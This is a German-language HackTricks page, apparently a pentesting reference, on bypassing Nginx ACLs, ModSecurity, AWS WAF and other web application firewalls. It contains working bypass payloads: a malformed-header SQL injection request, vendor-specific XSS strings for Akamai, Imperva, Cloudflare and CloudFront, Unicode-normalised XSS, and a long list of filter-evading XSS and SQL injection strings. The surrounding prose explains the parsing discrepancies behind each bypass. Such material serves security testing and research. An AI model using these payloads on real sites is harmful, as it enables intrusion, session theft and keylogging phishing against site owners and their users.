Proxy / WAF Protections Bypass

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Bypass Nginx ACL Rules with Pathname Manipulation

Techniken aus dieser Recherche.

Beispiel für eine Nginx-Regel:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Um Umgehungen zu verhindern führt Nginx eine Pfadnormalisierung durch, bevor der Pfad geprüft wird. Wenn der Backend-Server jedoch eine andere Normalisierung vornimmt (z. B. Zeichen entfernt, die Nginx nicht entfernt), kann es möglich sein, diese Schutzmaßnahme zu umgehen.

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM-Konfiguration:

location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginx ist so konfiguriert, dass der Zugriff auf /admin.php blockiert wird, aber es ist möglich, dies zu umgehen, indem man /admin.php/index.php aufruft.

Wie kann man das verhindern

location ~* ^/admin {
deny all;
}

Umgehung von ModSecurity-Regeln

Pfadverwirrung

In diesem Beitrag wird erklärt, dass ModSecurity v3 (bis einschließlich 3.0.12) die Variable REQUEST_FILENAME falsch implementierte, die eigentlich den aufgerufenen Pfad (bis zum Beginn der Parameter) enthalten sollte. Das liegt daran, dass eine URL-Dekodierung durchgeführt wurde, um den Pfad zu erhalten.
Daher würde bei einer Anfrage wie http://example.com/foo%3f';alert(1);foo= ModSecurity annehmen, dass der Pfad nur /foo ist, weil %3f in ? umgewandelt wird und damit das Ende des URL-Pfads markiert, während der Pfad, den der Server tatsächlich erhält, /foo%3f';alert(1);foo= ist.

Die Variablen REQUEST_BASENAME und PATH_INFO waren ebenfalls von diesem Fehler betroffen.

Ähnliches geschah in Version 2 von ModSecurity, was es ermöglichte, einen Schutz zu umgehen, der Benutzer daran hinderte, auf Dateien mit bestimmten Erweiterungen für Backups (wie .bak) zuzugreifen, indem der Punkt URL-encoded als %2e gesendet wurde, z. B.: https://example.com/backup%2ebak.

Umgehung von AWS WAF ACL

Fehlerhafter Header

Diese Untersuchung erwähnt, dass es möglich war, AWS WAF-Regeln, die auf HTTP-Header angewendet wurden, zu umgehen, indem ein “fehlerhafter” Header gesendet wurde, der von AWS nicht korrekt geparst, vom Backend-Server jedoch geparst wurde.

Beispielsweise durch das Senden der folgenden Anfrage mit einer SQL injection im Header X-Query:

GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

Es war möglich, den AWS WAF zu umgehen, weil er nicht erkannte, dass die nächste Zeile Teil des Header-Werts ist, während der NODEJS-Server dies tat (dies wurde behoben).

Generische WAF-Bypässe

Größenbeschränkungen von Anfragen

Häufig haben WAFs eine bestimmte Längenbegrenzung für Requests, die sie prüfen können, und wenn eine POST/PUT/PATCH-Anfrage diese überschreitet, wird die WAF die Anfrage nicht prüfen.

Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections8 KB
Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**64 KB

Ältere Web Application Firewalls mit Core Rule Set 3.1 (oder älter) erlauben Nachrichten größer als 128 KB, indem die Request-Body-Inspektion deaktiviert wird, aber diese Nachrichten werden dann nicht auf Schwachstellen geprüft. Bei neueren Versionen (Core Rule Set 3.2 oder neuer) kann dasselbe erreicht werden, indem das maximale Request-Body-Limit deaktiviert wird. Wenn eine Anfrage die Größengrenze überschreitet:

If prevention mode: Protokolliert und blockiert die Anfrage.
If detection mode: Inspiziert bis zur Grenze, ignoriert den Rest und protokolliert, wenn die Content-Length die Grenze überschreitet.

Standardmäßig inspiziert die WAF nur die ersten 8KB einer Anfrage. Das Limit kann auf bis zu 128KB erhöht werden, indem Advanced Metadata hinzugefügt wird.

Bis zu 128KB.

Inspektionslücken bei statischen Assets (.js GETs)

Manche CDN/WAF stacks wenden eine schwache oder gar keine Content-Inspektion auf GET-Anfragen für statische Assets an (z. B. Pfade, die auf .js enden), während dennoch globale Regeln wie rate limiting und IP reputation greifen. In Kombination mit Auto-Caching statischer Erweiterungen kann dies missbraucht werden, um schädliche Varianten zu liefern oder zu platzieren, die nachfolgende HTML-Antworten beeinflussen.

Praktische Anwendungsfälle:

  • Payloads in untrusted headers (z. B. User-Agent) bei einem GET auf einen .js-Pfad senden, um die Content-Inspektion zu umgehen, und dann sofort das Haupt-HTML anfordern, um die gecachte Variante zu beeinflussen.
  • Eine frische/saubere IP verwenden; sobald eine IP markiert ist, können Routing-Änderungen die Technik unzuverlässig machen.
  • In Burp Repeater die Option “Send group in parallel” (Single-Packet-Stil) verwenden, um die beiden Requests (.js dann HTML) durch denselben Front-End-Pfad gegeneinander antreten zu lassen.

Das passt gut zu header-reflection cache poisoning. Siehe:

Cache Poisoning and Cache Deception

Obfuskation

# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode-Kompatibilität

Je nach Implementierung der Unicode-Normalisierung (mehr Infos hier) können Zeichen, die Unicode-kompatibel sind, die WAF umgehen und als die beabsichtigte payload ausgeführt werden. Kompatible Zeichen sind hier zu finden.

Beispiel

# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

Kontextabhängige WAFs mit encodings umgehen

Wie in diesem Blogpost erwähnt, können wir, um WAFs zu umgehen, die in der Lage sind, einen Kontext der Benutzereingabe zu behalten, die WAF-Techniken ausnutzen, um die Eingabe des Benutzers tatsächlich zu normalisieren.

Beispielsweise wird im Beitrag erwähnt, dass Akamai eine Benutzereingabe 10-mal URL-dekodiert. Daher wird etwas wie <input/%2525252525252525253e/onfocus von Akamai als <input/>/onfocus gesehen, was als geschlossenes Tag gelten könnte. Solange die Anwendung die Eingabe nicht 10-mal URL-dekodiert, sieht das Opfer jedoch etwas wie <input/%25252525252525253e/onfocus, was immer noch für einen XSS-Angriff gültig ist.

Das ermöglicht also, Payloads in kodierten Komponenten zu verstecken, die die WAF dekodiert und interpretiert, während das Opfer sie nicht sieht.

Außerdem lässt sich das nicht nur mit URL-kodierten Payloads machen, sondern auch mit anderen Encodings wie unicode, hex, octal…

Im Beitrag werden als finale Bypässe unter anderem die folgenden Beispiele vorgeschlagen:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

Es wird außerdem erwähnt, dass es möglich sein kann, die Art und Weise auszunutzen, wie manche WAFs den Kontext der Benutzereingabe verstehen. Das im Blog vorgeschlagene Beispiel ist, dass Akamai erlaubte, beliebigen Inhalt zwischen /* und */ zu setzen (möglicherweise weil dies häufig als Kommentar verwendet wird). Daher würde eine SQLinjection wie /*'or sleep(5)-- -*/ nicht erkannt werden und gültig bleiben, da /* die Startsequenz der Injection ist und */ kommentiert.

Solche Kontextprobleme können auch verwendet werden, andere als die erwarteten Schwachstellen auszunutzen (z. B. könnte dies auch benutzt werden, um eine XSS zu exploitieren).

Lücken bei der Prüfung der ersten Inline-JavaScript-Anweisung

Einige Inline-Inspektions-Regelsätze parsen nur die erste JavaScript-Anweisung innerhalb eines Event-Handlers. Indem man einen harmlos wirkenden Ausdruck in Klammern gefolgt von einem Semikolon voranstellt (z. B. onfocus="(history.length);payload"), wird der nach dem Semikolon platzierte bösartige Code der Inspektion entzogen, während der Browser ihn weiterhin ausführt. In Kombination mit fragment-induzierter Fokussierung (z. B. Anhängen von #forgot_btn, sodass das Ziel-Element beim Laden fokussiert wird) sind click-less XSS möglich, die sofort $.getScript aufrufen und Phishing-Tooling wie Keylogger bootstrappen können. Siehe die attribute-only login XSS case study, abgeleitet von dieser Forschung.

H2C Smuggling

Upgrade Header Smuggling

IP Rotation

Regex-Bypässe

Verschiedene Techniken können verwendet werden, um die Regex-Filter von Firewalls zu umgehen. Beispiele sind wechselnde Groß-/Kleinschreibung, Einfügen von Zeilenumbrüchen und Kodierung von Payloads. Ressourcen zu den unterschiedlichen Bypässen finden sich bei PayloadsAllTheThings und OWASP. Die folgenden Beispiele wurden aus diesem Artikel entnommen.

<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

Werkzeuge

  • nowafpls: Burp-Plugin, das Anfragen Junk-Daten hinzufügt, um WAFs über die Länge zu umgehen

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks